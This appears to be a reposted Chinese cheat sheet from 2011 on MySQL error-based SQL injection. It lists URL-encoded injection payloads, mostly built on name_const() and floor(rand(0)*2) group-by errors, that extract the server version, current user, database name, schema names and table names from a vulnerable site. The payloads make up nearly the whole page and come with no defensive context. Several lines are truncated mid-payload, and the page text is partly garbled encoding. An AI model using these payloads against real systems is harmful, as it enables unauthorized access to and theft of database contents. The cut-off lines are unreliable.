Mysql暴錯(cuò)注入?yún)⒖?/h2>

添加時(shí)間：2011-2-27　 添加： admin　

Author:Pnig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下測試通過,對于5+的絕大部分版本可以測試成功
小部分版本使用name_const()時(shí)會(huì)報(bào)錯(cuò).可以用給出的Method.2測試

查詢版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)

Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)

查詢當(dāng)前用戶:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)

查詢當(dāng)前數(shù)據(jù)庫:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

依次爆庫
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 將n
順序替換

爆指定庫數(shù)目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql

依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t

關(guān)健詞：Mysql

分享到：

【 頂部 】 【 關(guān)閉 】

新文章:

• CentOS7下圖形配置網(wǎng)絡(luò)的方法
• CentOS 7如何添加刪除用戶
• 如何解決centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
• CentOS單網(wǎng)卡如何批量添加不同IP段
• CentOS下iconv命令的介紹
• Centos7 SSH密鑰登陸及密碼密鑰雙重驗(yàn)證詳解
• CentOS 7.1添加刪除用戶的方法
• CentOS查找/掃描局域網(wǎng)打印機(jī)IP講解
• CentOS7使用hostapd實(shí)現(xiàn)無AP模式的詳解
• su命令不能切換root的解決方法
• 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯(cuò)
• 解決Centos7雙系統(tǒng)后丟失windows啟動(dòng)項(xiàng)
• CentOS下如何避免文件覆蓋
• CentOS7和CentOS6系統(tǒng)有什么不同呢
• Centos 6.6默認(rèn)iptable規(guī)則詳解